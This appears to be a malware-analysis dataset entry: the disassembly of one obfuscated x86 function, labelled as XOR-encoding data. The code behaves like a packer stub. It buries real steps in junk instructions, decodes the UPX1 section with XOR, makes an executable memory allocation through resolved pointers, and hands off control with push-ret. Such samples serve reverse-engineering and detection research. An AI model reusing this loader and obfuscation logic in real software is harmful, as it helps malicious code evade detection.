Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xced2bd6e
mov ecx, ebx
add ebx, 1
add ebx, ecx
popal
dec ebx
sub ebx, 0x19093f14
and ecx, ebx
mov eax, 0
mov esi, ecx
mov edi, 0xe3d00bb
sub edi, 1
mov edi, 0x373b6e57
mov ebx, esi
mov edi, 0x8d4d1366
sub edi, edx
mov ecx, ebx
not edx
sub edx, 0x35c6471f
inc eax
not edx
and edx, edx
sub edi, edx
cmp eax, 0x100ab09
jne 0xa789cb
mov edx, edi
sub edx, edi
mov edx, edi
add ebx, 0xca9ff5df
mov ebx, 0xc372ffab
add ecx, 0x88d572c3
mov eax, 0xa78796
inc ecx
sub edx, 0x8fd71ca9
sub ecx, 0xabd4a66a
mov esi, 0xa7898a
inc edi
add edx, 0xdb17eea5
mov edi, 0x7c00988c
mov ebx, dword [eax]
inc edx
dec edi
mov edi, edx
and ebx, 0xff
add edx, ecx
or edx, ecx
xor dword [esi], ebx
mov edi, 0x7b7384d8
add edx, ecx
and ecx, ecx
add esi, 1
sub edi, ecx
add edi, 0x84367500
and ecx, ecx
add eax, 1
add edx, ecx
or edi, ecx
inc edx
cmp esi, entry0
jl 0xa78a3d
sub edx, ecx
inc edi
mov edi, edx
not edi
sub ecx, 0x1f9ffd76
and ebx, edx
mov ebx, edi
inc edi
mov esi, 0xa7898e
inc edx
sub ebx, 0xc41ee726
mov esi, dword [esi]
add edx, ecx
sub edx, ebx
mov esi, dword [esi]
inc ebx
and ebx, edi
not edx
push esi
or ecx, edi
dec ecx
mov esi, 0xa7898a
sub ebx, 0xd05ccf65
sub ecx, 0x2e6620ce
and edx, ecx
mov esi, dword [esi]
add edx, 0xbf4a274e
add edi, edx
mov esi, dword [esi]
mov edi, ecx
add edx, edi
add edi, 0xa7313133
push 0xa78992
sub edi, 0xd3e46a3d
sub edi, 0x6cab42c
not edi
call esi
or edi, edi
mov edx, 0x7bfa524c
pop esi
sub ebx, edx
or ecx, edx
push 0xa7899f
add ecx, edx
or edx, ebx
push eax
inc edx
add ecx, 0x3cc98982
call esi
mov ebx, 0x6d9a8c36
add ebx, 0x919fd194
sub ebx, edx
push 0x40
not ecx
or ebx, ecx
sub esp, 4
mov dword [esp], 0x3000
sub ebx, 0x7e3ea5ee
sub ebx, 0xa50bb001
add ebx, edi
push 0x2000070b
mov edi, ecx
sub ebx, 0x5514d485
mov ebx, edi
push 0
mov edx, 0x2a240fe7
mov edi, edx
call eax
mov ecx, edi
add edx, 0x31b0e92e
sub ecx, edi
add eax, 0x20000658
inc edi
and edx, ecx
mov esi, 0x98acd652
inc ebx
mov edx, 0xdaf0f049
mov dword [eax], esi
add ebx, 0xa87a75a5
mov edi, 0x53a89c5d
or ecx, edi
mov esi, dword [eax]
and ebx, ecx
mov ecx, edi
dec edx
cmp esi, 0x98acd652
je 0xa78b99
mov ebx, 0
mov al, byte [ebx]
mov ecx, edi
not edx
sub ecx, 0xb0293f50
sub ecx, 0x5cd32dd3
mov edx, edi
sub edi, ebx
not ecx
sub ebx, 0x4ea7cfd8
mov ebx, 0x7308b4ce
mov edi, section.UPX1
sub ecx, 0xdd82aacf
sub ebx, 1
mov eax, 0xa78795
add ebx, ecx
not ebx
mov ecx, ebx
mov edx, 0
or ebx, ebx
or ecx, ebx
mov esi, 0xa78796
inc ecx
or ecx, ecx
or ebx, ebx
lea esi, [esi + edx]
mov ebx, 0xf0a7ac99
or ecx, ebx
or ebx, ebx
mov esi, dword [esi]
mov ebx, 0xe5786fec
dec ecx
and esi, 0xff
inc ecx
mov ebx, 0xfc338d20
inc edx
not ecx
add ebx, ecx
dec ebx
cmp edx, 0x1f4
jne 0xa78c1c
mov edx, 0
mov ecx, 0x39c1918
not ebx
inc ebx
sub ecx, ebx
sub ebx, 1
xor dword [edi], esi
mov ebx, 0x9d04d841
inc ecx
add ecx, ecx
add edi, 2
and ecx, ebx
add ecx, 0x3c9733af
or ebx, ebx
cmp edi, eax
jl 0xa78bdf
mov ecx, 0xc1888f14
and ecx, ecx
not ebx
mov ecx, ebx
and ecx, ecx
mov eax, section.UPX1
not edx
mov ebx, 0xdd779315
mov edi, section.UPX1
dec ebx
sub edx, ebx
inc edx
mov esi, 0xa78795
add ebx, 0x3c876899
add ebx, 0x5f254a7
or ebx, ebx
mov ecx, 0
or edx, edx
mov ebx, 0xe0828071
inc ebx
mov cl, byte [edi]
sub edx, 1
mov edx, ebx
not ebx
mov byte [eax], cl
sub ebx, edx
and ebx, edx
inc eax
inc ebx
dec edx
add edi, 2
mov ebx, 0xc4a2988a
sub edx, 0x34bd100b
cmp edi, esi
jle 0xa78c90
or edx, ebx
sub edx, 1
dec edx
sub ecx, 0x6b4b7c79
sub ecx, 0x87b0add4
push 0x8dc6a0
sub ecx, 0x107b11d4
not ecx
ret